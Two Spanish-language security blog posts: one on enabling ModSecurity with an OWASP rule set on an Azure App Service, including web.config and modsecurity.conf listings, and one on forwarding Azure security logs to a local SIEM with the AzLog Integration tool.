El proceso es sencillo. Dentro de nuestra Aplicación Azure, ya sea un portal prefabricado o desarrollo propio, accedemos a las herramientas y accedemos a Kudu, una herramienta que nos permite acceder al sistema de ficheros de nuestra APP. Recuerda que en el sistema cloud de aplicación como servicio nosotros no manejamos el servidor web, esto sería plataforma como servicio. Tampoco manejamos el sistema operativo, esto sería infraestructura como servicio...



Ahora creamos el fichero web.config si no lo teníamos creado. En mi caso habilito Mod security y configuro que no se puedan bajar los ficheros .conf. ****esto quiere decir que todos los IIS que tienen Azure vienen con el modulo de Mod Security instalado. que fuerteeeeeeeeeee me pareceeeeeeeee***

<configuration> 
<system.webServer> 
<ModSecurity enabled="true" configFile="D:\home\site\wwwroot\modsecurity_iis.conf" /> 
<security> 
<requestFiltering> 
<hiddenSegments> 
<add segment="modsecurity" /> 
</hiddenSegments> 
<fileExtensions> 
<add fileExtension=".conf" allowed="false" /> 
</fileExtensions> 
</requestFiltering> </security> 
</system.webServer> 
</configuration> 

Ahora creo el fichero modsecurity.conf con esta configuración que al menos me funciona.

# based on modsecurity.conf-recommended
# -- Rule engine initialization ----------------------------------------------
# Enable ModSecurity, attaching it to every transaction. Use detection
# only to start with, because that minimises the chances of post-installation
# disruption.
#
SecRuleEngine On
# -- Request body handling ---------------------------------------------------
# Allow ModSecurity to access request bodies. If you don't, ModSecurity
# won't be able to see any POST parameters, which opens a large security
# hole for attackers to exploit.
#
SecRequestBodyAccess On
# Enable XML request body parser.
# Initiate XML Processor in case of xml content-type
#
# Enable JSON request body parser.
# Initiate JSON Processor in case of JSON content-type; change accordingly
# if your application does not use 'application/json'
#
# Maximum request body size we will accept for buffering. If you support
# file uploads then the value given on the first line has to be as large
# as the largest file you are willing to accept. The second value refers
# to the size of data, with files excluded. You want to keep that value as
# low as practical.
#
SecRequestBodyLimit 13107200
SecRequestBodyNoFilesLimit 131072

# Store up to 128 KB of request body data in memory. When the multipart
# parser reachers this limit, it will start using your hard disk for
# storage. That is slow, but unavoidable.
#
SecRequestBodyInMemoryLimit 131072

# What do do if the request body size is above our configured limit.
# Keep in mind that this setting will automatically be set to ProcessPartial
# when SecRuleEngine is set to DetectionOnly mode in order to minimize
# disruptions when initially deploying ModSecurity.
#
SecRequestBodyLimitAction Reject

# Verify that we've correctly processed the request body.
# As a rule of thumb, when failing to process a request body
# you should reject the request (when deployed in blocking mode)
# or log a high-severity alert (when deployed in detection-only mode).
#
# PCRE Tuning
# We want to avoid a potential RegEx DoS condition
#
SecPcreMatchLimit 1000
SecPcreMatchLimitRecursion 1000
# Some internal errors will set flags in TX and we will need to look for these.
# All of these are prefixed with "MSC_".  The following flags currently exist:
#
# MSC_PCRE_LIMITS_EXCEEDED: PCRE match limits were exceeded.
#
# -- Response body handling --------------------------------------------------
# Allow ModSecurity to access response bodies. 
# You should have this directive enabled in order to identify errors
# and data leakage issues.
# Do keep in mind that enabling this directive does increases both
# memory consumption and response latency.
#
#SecResponseBodyAccess On
# Which response MIME types do you want to inspect? You should adjust the
# configuration below to catch documents but avoid static files
# (e.g., images and archives).
#
SecResponseBodyMimeType text/plain text/html text/xml
# Buffer response bodies of up to 512 KB in length.
SecResponseBodyLimit 524288
# What happens when we encounter a response body larger than the configured
# limit? By default, we process what we have and let the rest through.
# That's somewhat less secure, but does not break any legitimate pages.
#
SecResponseBodyLimitAction ProcessPartial
# -- Filesystem configuration ------------------------------------------------
# The location where ModSecurity stores temporary files (for example, when
# it needs to handle a file upload that is larger than the configured limit).
# This default setting is chosen due to all systems have /tmp available however, 
# this is less than ideal. It is recommended that you specify a location that's private.
#
SecTmpDir c:\inetpub\temp\
# The location where ModSecurity will keep its persistent data.  This default setting 
# is chosen due to all systems have /tmp available however, it
# too should be updated to a place that other users can't access.
#
SecDataDir c:\inetpub\temp\
# -- File uploads handling configuration -------------------------------------
# The location where ModSecurity stores intercepted uploaded files. This
# location must be private to ModSecurity. You don't want other users on
# the server to access the files, do you?
#
#SecUploadDir /opt/modsecurity/var/upload/
# By default, only keep the files that were determined to be unusual
# in some way (by an external inspection script). For this to work you
# will also need at least one file inspection rule.
#
#SecUploadKeepFiles RelevantOnly
# Uploaded files are by default created with permissions that do not allow
# any other user to access them. You may need to relax that if you want to
# interface ModSecurity to an external program (e.g., an anti-virus).
#
#SecUploadFileMode 0600
# -- Debug log configuration -------------------------------------------------
# The default debug log configuration is to duplicate the error, warning
# and notice messages from the error log.
#
#SecDebugLog /opt/modsecurity/var/log/debug.log
#SecDebugLogLevel 3
# -- Audit log configuration -------------------------------------------------
# Log the transactions that are marked by a rule, as well as those that
# trigger a server error (determined by a 5xx or 4xx, excluding 404,  
# level response status codes).
#
#SecAuditEngine RelevantOnly
#SecAuditLogRelevantStatus "^(?:5|4(?!04))"
# Log everything we know about a transaction.
#SecAuditLogParts ABIJDEFHZ
# Use a single file for logging. This is much easier to look at, but
# assumes that you will use the audit log only ocassionally.
#
#SecAuditLogType Serial
#SecAuditLog c:\inetpub\log\modsec_audit.log
# Specify the path for concurrent audit logging.
#SecAuditLogStorageDir c:\inetpub\log\
# -- Miscellaneous -----------------------------------------------------------
# Use the most commonly used application/x-www-form-urlencoded parameter
# separator. There's probably only one application somewhere that uses
# something else so don't expect to change this value.
#
SecArgumentSeparator &
# Settle on version 0 (zero) cookies, as that is what most applications
# use. Using an incorrect cookie version may open your installation to
# evasion attacks (against the rules that examine named cookies).
#
SecCookieFormat 0
# Specify your Unicode Code Point.
# This mapping is used by the t:urlDecodeUni transformation function
# to properly map encoded data to your language. Properly setting
# these directives helps to reduce false positives and negatives.
#
#SecUnicodeCodePage 20127
#SecUnicodeMapFile unicode.mappinga
# Improve the quality of ModSecurity by sharing information about your
# current ModSecurity version and dependencies versions.
# The following information will be shared: ModSecurity version,
# Web Server version, APR version, PCRE version, Lua version, Libxml2
# version, Anonymous unique id for host.
SecStatusEngine On

Ahora creamos otros fichero que denomino modsecurity_iis.conf con el siguiente contenido:

Include modsecurity.conf
Include D:\home\site\wwwroot\rules\*.conf

Creamos el directorio de rules.

Ahora la partida de pecho ha sido averiguar que el actual conjunto de reglas OWasp versión 3 no funciona con esta versión de modsecurity. He cargado mil reglas, probado, escrito. Al final, me he dado cuenta que el conjunto de regla válido es el 2.3, disponible aquí. https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/v2.2/master/base_rules

En este ejemplo el sistema se ha puesto en modo On, es decir, va a parar cualquier intento que catalogue como ataque. Recuerda que hay que hacer primero una limpieza de falsos positivos, mediante la opción DetectionOnly.

Si quieres ver el log por defecto el sistema lo escribe en D:\home\LogFiles>eventlog.xml


El log que ves es una prueba simple, lanzando un nikto sobre la url para que detecte el User_Agent

Ya no tienes excusa para no instalar un sistema Waf



lunes, 10 de abril de 2017

Acerca la nube a casa. Azure logs to local Siem.

Estimados amigos de Inseguros !!!


Voy a comenzar una seria de artículos cuyo objetivo será acercar al lector a la seguridad de Azure.


Dentro de poco/hace unos días participaré en el evento de Azsure Boot Camp en España el día mundial del del evento, el sábado 22 de abril donde daré una charla sobre seguridad en Azure.


Estos artículos no van a ser el típico mapa de framework explicando lo bien que lo ha hecho Microsoft. Espero dar una visión realista, de andar por casa, de como podemos aprovechar las opciones de seguridad de Azure para nuestro trabajo diario.

Hace unos días hablamos ya del centro de seguridad en Azure en este artículo.

Vamos a retomarlo precisamente por donde lo dejamos, con los logs.

Imagino que en tu organización tendrás resulta la gestión centralizada de logs, mas bien orientados a la monitorización de red, con Nagios o similares, y a la gestión de eventos de seguridad, con ELK o alguna solución SIEM. Aquí hemos hablado mucho de Ossim, el Siem Software libre que manejo.

Si tienes un recurso publicado en la nube de Azure o en cualquier otro proveedor Cloud es necesario monitorizar los eventos de seguridad que ocurren en ese "cielo". El proveedor del Cloud nos suele ofrecer seguridad, pero es seguridad como mucho a capa 3 de red, con algunas reglas básicas anti ddos, ya que pueden afectar a la infraestructura global, pero poco más. No vas a tener seguridad a nivel aplicacion... (atento al siguiente artículo) ni a otros niveles.

En el procedimiento de hoy vamos a aprender a conectar nuestro fuente de información en Azure, los logs, a nuestro equipo local para poder engancharlo a nuestro SIEM o sistema de monitorización que usemos.


Lo primero que hacemos es descargar el componente AZLOG Integration a nuestro equipo e instalarlo.

El instalador da un petazo porque no encuentra el grupo: Performance Monitor Users. La chapuza de crearlo aunque esté en castellano funciona...

Otras veces he comprobado que no crea el usuario AZlog. Otras veces he comprobado que en el directorio de c:\usuario\azlog\ no le da permisos al usuario, teniéndolo que hacer manualmente.

Salvo estos consejos ( 3 o 4 días de partirme la cara con esto) , seguimos el procedimiento indicado en la web de Microsoft. https://docs.microsoft.com/en-us/azure/security/security-azure-log-integration-get-started

El asunto es muy sencillo, mediante PowerShell indicamos que espacio de almacenamiento queremos usar para trasladar los logs y con esto tenemos disponibles en nuestro visor de eventos los logs de sucesos relativos a la seguridad de Azure.


Es importante habilitar en las opciones de diagnosticos de servidores y servicios la opción de almacenamiento, es decir, tenemos que decirle a Azure que queremos guardar los logs de eventos en la cuenta de almacenamiento que, posteriormente, sincronizamos con el visor de eventos.


Uno de los pasos que puedes hacer es primero habilitar el diagnostico en todos los servers y mediante el explorador de almacenamiento de Azure, comprobar que se están guardando los registros.


Si por cualquier motivo prefieres acceder a los logs a nivel de fichero local, los puedes encontrar en la ruta del usuario c:\usuarios\azlog\




Related Posts Plugin for WordPress, Blogger...